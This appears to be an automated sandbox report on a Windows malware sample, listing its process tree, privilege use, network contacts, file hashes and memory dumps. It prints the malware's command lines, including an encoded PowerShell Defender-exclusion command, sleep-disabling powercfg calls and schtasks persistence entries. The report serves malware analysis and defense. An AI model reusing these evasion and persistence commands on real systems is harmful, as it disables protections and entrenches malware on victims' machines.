HTTP User-Agent header Go-http-client/1.1 N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\729a18396d223d572bc1be314969a0cb5bb_JC.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: 35 N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: 35 N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: 35 N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\4.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1264 wrote to memory of 2940 N/A C:\Users\Admin\AppData\Local\Temp\729a18396d223d572bc1be314969a0cb5bb_JC.exe C:\Users\Admin\AppData\Local\Temp\svchost.exe
PID 1264 wrote to memory of 2940 N/A C:\Users\Admin\AppData\Local\Temp\729a18396d223d572bc1be314969a0cb5bb_JC.exe C:\Users\Admin\AppData\Local\Temp\svchost.exe
PID 1264 wrote to memory of 4372 N/A C:\Users\Admin\AppData\Local\Temp\729a18396d223d572bc1be314969a0cb5bb_JC.exe C:\Users\Admin\AppData\Local\Temp\conhost.exe
PID 1264 wrote to memory of 4372 N/A C:\Users\Admin\AppData\Local\Temp\729a18396d223d572bc1be314969a0cb5bb_JC.exe C:\Users\Admin\AppData\Local\Temp\conhost.exe
PID 1264 wrote to memory of 4372 N/A C:\Users\Admin\AppData\Local\Temp\729a18396d223d572bc1be314969a0cb5bb_JC.exe C:\Users\Admin\AppData\Local\Temp\conhost.exe
PID 4372 wrote to memory of 4676 N/A C:\Users\Admin\AppData\Local\Temp\conhost.exe C:\Windows\system32\cmd.exe
PID 4372 wrote to memory of 4676 N/A C:\Users\Admin\AppData\Local\Temp\conhost.exe C:\Windows\system32\cmd.exe
PID 4676 wrote to memory of 5116 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mode.com
PID 4676 wrote to memory of 5116 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mode.com
PID 4676 wrote to memory of 1140 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\7z.exe
PID 4676 wrote to memory of 1140 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\7z.exe
PID 4676 wrote to memory of 216 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\7z.exe
PID 4676 wrote to memory of 216 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\7z.exe
PID 4676 wrote to memory of 1744 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\7z.exe
PID 4676 wrote to memory of 1744 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\7z.exe
PID 4676 wrote to memory of 3644 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe
PID 4676 wrote to memory of 3644 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe
PID 4676 wrote to memory of 3468 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\4.exe
PID 4676 wrote to memory of 3468 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\4.exe
PID 4676 wrote to memory of 3468 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\4.exe
PID 3468 wrote to memory of 2156 N/A C:\Users\Admin\AppData\Local\Temp\main\4.exe C:\Windows\SysWOW64\cmd.exe
PID 3468 wrote to memory of 2156 N/A C:\Users\Admin\AppData\Local\Temp\main\4.exe C:\Windows\SysWOW64\cmd.exe
PID 3468 wrote to memory of 2156 N/A C:\Users\Admin\AppData\Local\Temp\main\4.exe C:\Windows\SysWOW64\cmd.exe
PID 2156 wrote to memory of 4376 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2156 wrote to memory of 4376 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2156 wrote to memory of 4376 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3468 wrote to memory of 4952 N/A C:\Users\Admin\AppData\Local\Temp\main\4.exe C:\Windows\SysWOW64\cmd.exe
PID 3468 wrote to memory of 4952 N/A C:\Users\Admin\AppData\Local\Temp\main\4.exe C:\Windows\SysWOW64\cmd.exe
PID 3468 wrote to memory of 4952 N/A C:\Users\Admin\AppData\Local\Temp\main\4.exe C:\Windows\SysWOW64\cmd.exe
PID 3468 wrote to memory of 3456 N/A C:\Users\Admin\AppData\Local\Temp\main\4.exe C:\Windows\SysWOW64\cmd.exe
PID 3468 wrote to memory of 3456 N/A C:\Users\Admin\AppData\Local\Temp\main\4.exe C:\Windows\SysWOW64\cmd.exe
PID 3468 wrote to memory of 3456 N/A C:\Users\Admin\AppData\Local\Temp\main\4.exe C:\Windows\SysWOW64\cmd.exe
PID 3456 wrote to memory of 2792 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 3456 wrote to memory of 2792 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 3456 wrote to memory of 2792 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 4952 wrote to memory of 868 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 4952 wrote to memory of 868 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 4952 wrote to memory of 868 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 2940 wrote to memory of 4388 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe
PID 2940 wrote to memory of 4388 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\729a18396d223d572bc1be314969a0cb5bb_JC.exe

"C:\Users\Admin\AppData\Local\Temp\729a18396d223d572bc1be314969a0cb5bb_JC.exe"

C:\Users\Admin\AppData\Local\Temp\svchost.exe

"C:\Users\Admin\AppData\Local\Temp\svchost.exe"

C:\Users\Admin\AppData\Local\Temp\conhost.exe

"C:\Users\Admin\AppData\Local\Temp\conhost.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"

C:\Windows\system32\mode.com

mode 65,10

C:\Users\Admin\AppData\Local\Temp\main\7z.exe

7z.exe e file.zip -p151971033210090161381766327410 -oextracted

C:\Users\Admin\AppData\Local\Temp\main\7z.exe

7z.exe e extracted/file_2.zip -oextracted

C:\Users\Admin\AppData\Local\Temp\main\7z.exe

7z.exe e extracted/file_1.zip -oextracted

C:\Windows\system32\attrib.exe

attrib +H "4.exe"

C:\Users\Admin\AppData\Local\Temp\main\4.exe

"4.exe"

C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe

C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe

C:\Windows\SysWOW64\cmd.exe

"cmd.exe" /C powershell -EncodedCommand "PAAjADYANQA5AGEAdQA5AG8AagB5AG0AIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBUAFoAZABtAGkAZABWACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHgAeQAzAGEANgB0AFQAMgA3AFQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAdABEAHMANwBUAHUAdQBlACMAPgA=" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -EncodedCommand "PAAjADYANQA5AGEAdQA5AG8AagB5AG0AIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBUAFoAZABtAGkAZABWACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHgAeQAzAGEANgB0AFQAMgA3AFQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAdABEAHMANwBUAHUAdQBlACMAPgA="

C:\Windows\SysWOW64\cmd.exe

"cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk4278" /TR "C:\ProgramData\Dllhost\dllhost.exe"

C:\Windows\SysWOW64\cmd.exe

"cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"

C:\Windows\SysWOW64\schtasks.exe

SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk4278" /TR "C:\ProgramData\Dllhost\dllhost.exe"

C:\Windows\SysWOW64\schtasks.exe

SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 71.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 240.81.21.72.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 2.136.104.51.in-addr.arpa udp
NL 94.142.138.4:80 tcp
US 8.8.8.8:53 4.138.142.94.in-addr.arpa udp
US 8.8.8.8:53 22.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 api.ip.sb udp
US 104.26.12.31:443 api.ip.sb tcp
US 8.8.8.8:53 31.12.26.104.in-addr.arpa udp
N/A 194.50.153.183:80 194.50.153.183 tcp
US 8.8.8.8:53 183.153.50.194.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 pastebin.com udp
US 104.20.68.143:443 pastebin.com tcp
US 8.8.8.8:53 github.com udp
US 140.82.112.3:443 github.com tcp
US 140.82.112.3:443 github.com tcp
US 8.8.8.8:53 143.68.20.104.in-addr.arpa udp
US 8.8.8.8:53 raw.githubusercontent.com udp
US 185.199.109.133:443 raw.githubusercontent.com tcp
US 185.199.109.133:443 raw.githubusercontent.com tcp
US 8.8.8.8:53 3.112.82.140.in-addr.arpa udp
US 8.8.8.8:53 133.109.199.185.in-addr.arpa udp
NL 185.209.161.189:80 185.209.161.189 tcp
US 8.8.8.8:53 189.161.209.185.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 45.8.109.52.in-addr.arpa udp
US 8.8.8.8:53 25.73.42.20.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp

Files

memory/1264-133-0x0000000074ED0000-0x0000000075680000-memory.dmp

memory/1264-134-0x0000000000400000-0x0000000000430000-memory.dmp

memory/1264-135-0x0000000004E70000-0x0000000004E80000-memory.dmp

memory/1264-136-0x00000000060B0000-0x00000000066C8000-memory.dmp

memory/1264-137-0x00000000056D0000-0x00000000057DA000-memory.dmp

memory/1264-138-0x0000000005650000-0x0000000005662000-memory.dmp

memory/1264-139-0x0000000005AE0000-0x0000000005B1C000-memory.dmp

memory/1264-140-0x0000000074ED0000-0x0000000075680000-memory.dmp

memory/1264-141-0x0000000005E70000-0x0000000005EE6000-memory.dmp

memory/1264-142-0x0000000006F70000-0x0000000007002000-memory.dmp

memory/1264-143-0x000000000A050000-0x000000000A5F4000-memory.dmp

memory/1264-144-0x0000000009AA0000-0x0000000009B06000-memory.dmp

memory/1264-145-0x0000000004E70000-0x0000000004E80000-memory.dmp

memory/1264-146-0x0000000009C10000-0x0000000009C60000-memory.dmp

memory/1264-147-0x0000000009E30000-0x0000000009FF2000-memory.dmp

memory/1264-148-0x000000000AB30000-0x000000000B05C000-memory.dmp

memory/1264-149-0x0000000004E70000-0x0000000004E80000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\svchost.exe

MD5 d076c4b5f5c42b44d583c534f78adbe7
SHA1 c35478e67d490145520be73277cd72cd4e837090
SHA256 2c63c61e0adaaf669c9c674edfc9081d415c05b834611944a682f120ab9559d8
SHA512 b2dfcf98695e7e40578f02a104a1c2fa1de29d13b0056d3dc4a5689168546f437bfd6acbc99e3766f94efb01bac5c908f3e80795f017e1629c97b6b1026ce638

C:\Users\Admin\AppData\Local\Temp\svchost.exe

MD5 d076c4b5f5c42b44d583c534f78adbe7
SHA1 c35478e67d490145520be73277cd72cd4e837090
SHA256 2c63c61e0adaaf669c9c674edfc9081d415c05b834611944a682f120ab9559d8
SHA512 b2dfcf98695e7e40578f02a104a1c2fa1de29d13b0056d3dc4a5689168546f437bfd6acbc99e3766f94efb01bac5c908f3e80795f017e1629c97b6b1026ce638

C:\Users\Admin\AppData\Local\Temp\svchost.exe

MD5 d076c4b5f5c42b44d583c534f78adbe7
SHA1 c35478e67d490145520be73277cd72cd4e837090
SHA256 2c63c61e0adaaf669c9c674edfc9081d415c05b834611944a682f120ab9559d8
SHA512 b2dfcf98695e7e40578f02a104a1c2fa1de29d13b0056d3dc4a5689168546f437bfd6acbc99e3766f94efb01bac5c908f3e80795f017e1629c97b6b1026ce638

C:\Users\Admin\AppData\Local\Temp\conhost.exe

MD5 6736c0e1179296ff6dfa0191ac874c7a
SHA1 89566e42fb866eecf5e8282b967461299ab7a08c
SHA256 c60ecd5714a23a727d9749652883ec95bcdb350b9f278c34ac504edb898073e4
SHA512 85791acbc9d538b92ac3c10a5ee87638ee0d9dd0323aa1eaf38c1c055e4312e5722f6b07e3f450c00cd595123a9981815a8ca972432749ee830852a76177125c

C:\Users\Admin\AppData\Local\Temp\conhost.exe

MD5 6736c0e1179296ff6dfa0191ac874c7a
SHA1 89566e42fb866eecf5e8282b967461299ab7a08c
SHA256 c60ecd5714a23a727d9749652883ec95bcdb350b9f278c34ac504edb898073e4
SHA512 85791acbc9d538b92ac3c10a5ee87638ee0d9dd0323aa1eaf38c1c055e4312e5722f6b07e3f450c00cd595123a9981815a8ca972432749ee830852a76177125c

C:\Users\Admin\AppData\Local\Temp\conhost.exe

MD5 6736c0e1179296ff6dfa0191ac874c7a
SHA1 89566e42fb866eecf5e8282b967461299ab7a08c
SHA256 c60ecd5714a23a727d9749652883ec95bcdb350b9f278c34ac504edb898073e4
SHA512 85791acbc9d538b92ac3c10a5ee87638ee0d9dd0323aa1eaf38c1c055e4312e5722f6b07e3f450c00cd595123a9981815a8ca972432749ee830852a76177125c

C:\Users\Admin\AppData\Local\Temp\main\main.bat

MD5 7f4c4965a2f78d6de87d304fdd355abf
SHA1 87a05c16753a036126677fe53118c07d36c0e671
SHA256 ed489607187114988306637dae2b81eff225315a8a8ee221249d14430f264fdb
SHA512 41c949862477065b8f537670b6747074c9e543753812fcb28b02be12b1bbf0fb8b9473ea0859fb1450fee848d62d4c70249d09f48a5e5eac15eb510b70b3f741

C:\Users\Admin\AppData\Local\Temp\main\file.bin

MD5 7cebec977eb671d25c4160ee75cbf124
SHA1 e09e0e906834b7f2ec270ba589a01e455ebdf0d1
SHA256 f0e78c63d52116f121709480935013c26a99bd85ba6bfd5100bc5e4411c7178e
SHA512 b79c8d6d4c947fdee755ef81c5c36d657ca1b4030c8f90f906961a22968c98d8fb6e33302191c28135c2593598876b6921f766270a50063754927b4404c798d1

C:\Users\Admin\AppData\Local\Temp\main\7z.exe

MD5 619f7135621b50fd1900ff24aade1524
SHA1 6c7ea8bbd435163ae3945cbef30ef6b9872a4591
SHA256 344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2
SHA512 2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

C:\Users\Admin\AppData\Local\Temp\main\7z.dll

MD5 72491c7b87a7c2dd350b727444f13bb4
SHA1 1e9338d56db7ded386878eab7bb44b8934ab1bc7
SHA256 34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891
SHA512 583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

C:\Users\Admin\AppData\Local\Temp\main\7z.dll

MD5 72491c7b87a7c2dd350b727444f13bb4
SHA1 1e9338d56db7ded386878eab7bb44b8934ab1bc7
SHA256 34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891
SHA512 583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

memory/1264-190-0x0000000074ED0000-0x0000000075680000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\main\7z.exe

MD5 619f7135621b50fd1900ff24aade1524
SHA1 6c7ea8bbd435163ae3945cbef30ef6b9872a4591
SHA256 344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2
SHA512 2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

C:\Users\Admin\AppData\Local\Temp\main\7z.dll

MD5 72491c7b87a7c2dd350b727444f13bb4
SHA1 1e9338d56db7ded386878eab7bb44b8934ab1bc7
SHA256 34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891
SHA512 583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

C:\Users\Admin\AppData\Local\Temp\main\extracted\file_2.zip

MD5 270d4612657b69eda3ebbb1207fc8cd7
SHA1 e023ff99c13c056fa7f80b55dc12f1d02df92114
SHA256 83b0eb7eee4c982f034d53b7541758fac699956433baeedf9b8f4494e367b5e7
SHA512 6fe46a7dd1fc6930646e3ba08306e1cfe826dcba6b7e3af1c9439157f35919739940e1d8143c6abecfa83f6b92d324764dfa8ca54dca91250b849c2cd138e6fe

C:\Users\Admin\AppData\Local\Temp\main\7z.exe

MD5 619f7135621b50fd1900ff24aade1524
SHA1 6c7ea8bbd435163ae3945cbef30ef6b9872a4591
SHA256 344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2
SHA512 2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

C:\Users\Admin\AppData\Local\Temp\main\7z.exe

MD5 619f7135621b50fd1900ff24aade1524
SHA1 6c7ea8bbd435163ae3945cbef30ef6b9872a4591
SHA256 344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2
SHA512 2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

C:\Users\Admin\AppData\Local\Temp\main\extracted\file_1.zip

MD5 018ccdb718d3ad7641fecfdad0fbeb4e
SHA1 46cdffdea8e44b455873659a35dcd973364a84dd
SHA256 708b3379e029aafb112f890a6ae10f2a4eebe52eef991d2d6136a11fe84143b5
SHA512 dcd1494429ced81dfbcc83cb8c87d4cd42719d53918834e16691c0d068631ae39fe0381c668e92341a5cdccf75877c2af3ae81c66b6d37e4b149f68a06ab2803

C:\Users\Admin\AppData\Local\Temp\main\7z.dll

MD5 72491c7b87a7c2dd350b727444f13bb4
SHA1 1e9338d56db7ded386878eab7bb44b8934ab1bc7
SHA256 34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891
SHA512 583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

C:\Users\Admin\AppData\Local\Temp\main\extracted\4.exe

MD5 a761e93d5993567d382af163745760ad
SHA1 27bd150490cd443a60bb70fa8b83299d75e02779
SHA256 1edbffa93edd8b72a352aec6bbf6cd36b1045b26b8dfa141b10067aaddc8d6e1
SHA512 c9e4d46a747e02b7f387d6551f2d26ce847e66a69b8a8bddb276a83388b367f2fa28153402d5f274a81fcc260840afc043c4b853dd06d87125980a49934f14fa

C:\Users\Admin\AppData\Local\Temp\main\extracted\ANTIAV~1.DAT

MD5 4762f0b6652250641a06e2029d6dda23
SHA1 bfa7925486f951f729b3ce47caa6ff52330420ad
SHA256 1e9654f0b077cfb8c393cb6cfd3d2b7918d87d56eaaf14f8523a582343d13b4e
SHA512 33227e64cc34f7e591f6a26b6eaef2f2b4369050e5a2c544413b8f8264114083a93fa70911810c19390ed3d1724bd73c135a2acf11f12f70892f20609593c72d

C:\Users\Admin\AppData\Local\Temp\main\4.exe

MD5 a761e93d5993567d382af163745760ad
SHA1 27bd150490cd443a60bb70fa8b83299d75e02779
SHA256 1edbffa93edd8b72a352aec6bbf6cd36b1045b26b8dfa141b10067aaddc8d6e1
SHA512 c9e4d46a747e02b7f387d6551f2d26ce847e66a69b8a8bddb276a83388b367f2fa28153402d5f274a81fcc260840afc043c4b853dd06d87125980a49934f14fa

memory/3468-208-0x0000000000510000-0x000000000051C000-memory.dmp

memory/3468-209-0x0000000074ED0000-0x0000000075680000-memory.dmp

memory/3468-210-0x0000000004FD0000-0x0000000004FE0000-memory.dmp

memory/3468-211-0x0000000004DD0000-0x0000000004DDA000-memory.dmp

memory/4376-214-0x0000000004FA0000-0x0000000004FB0000-memory.dmp

memory/4376-213-0x0000000074ED0000-0x0000000075680000-memory.dmp

memory/4376-215-0x0000000004DC0000-0x0000000004DF6000-memory.dmp

memory/4376-216-0x00000000055E0000-0x0000000005C08000-memory.dmp

memory/4376-220-0x0000000005C10000-0x0000000005C32000-memory.dmp

memory/4376-221-0x0000000005CB0000-0x0000000005D16000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xatpavmi.5tr.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3468-231-0x0000000074ED0000-0x0000000075680000-memory.dmp

memory/4376-234-0x00000000063C0000-0x00000000063DE000-memory.dmp

memory/4376-236-0x0000000074ED0000-0x0000000075680000-memory.dmp

memory/4376-237-0x0000000004FA0000-0x0000000004FB0000-memory.dmp

C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe

MD5 e3721ea3f0d0bddd2347582b9061b5d6
SHA1 ebb8204baf9aa24fa6785d7c05b8792c8444b0c3
SHA256 2f0ef06606015faac499e4f97fb6c7afa1821b0d2287532a7e564c521a812f46
SHA512 11eb9663b4275a66faf8f55550d5edf1d708a1d8ada468a13e6e0cc1d2f80cbb645f3a929e62fa9d972ece80a21f1804d8dcd09f817455f2522b33d9559f6e4d

C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe

MD5 c9c02bc0a0b4546ff9d760c2e12dbc25
SHA1 efa95c4e37c4403e368b435aebb8155bd3d5f028
SHA256 f3da81db83682e836d6ab1bfb119a1b896b5ccb11d7240297d0ce56eed55bfa5
SHA512 6758560c3c0f536c6631a30056251e1dee59ee02a491aa3a5f1b360f53eeea0afd75bfe47f73d413a1c65ab531afc31281551bc3bd60a361db006db95b023a02

memory/4376-241-0x000000007F170000-0x000000007F180000-memory.dmp

memory/4376-242-0x0000000006970000-0x00000000069A2000-memory.dmp

memory/4376-243-0x0000000070F90000-0x0000000070FDC000-memory.dmp

memory/4376-253-0x0000000006950000-0x000000000696E000-memory.dmp

memory/4376-254-0x0000000007D20000-0x000000000839A000-memory.dmp

memory/4376-255-0x00000000076C0000-0x00000000076DA000-memory.dmp

memory/4376-256-0x0000000004FA0000-0x0000000004FB0000-memory.dmp

memory/4376-257-0x0000000007750000-0x000000000775A000-memory.dmp

memory/4376-258-0x0000000007970000-0x0000000007A06000-memory.dmp

memory/4376-259-0x0000000004FA0000-0x0000000004FB0000-memory.dmp

memory/4376-260-0x0000000007900000-0x000000000790E000-memory.dmp

memory/4376-261-0x0000000007A10000-0x0000000007A2A000-memory.dmp

memory/4376-262-0x0000000007950000-0x0000000007958000-memory.dmp

memory/4376-265-0x0000000074ED0000-0x0000000075680000-memory.dmp

memory/3468-266-0x0000000074ED0000-0x0000000075680000-memory.dmp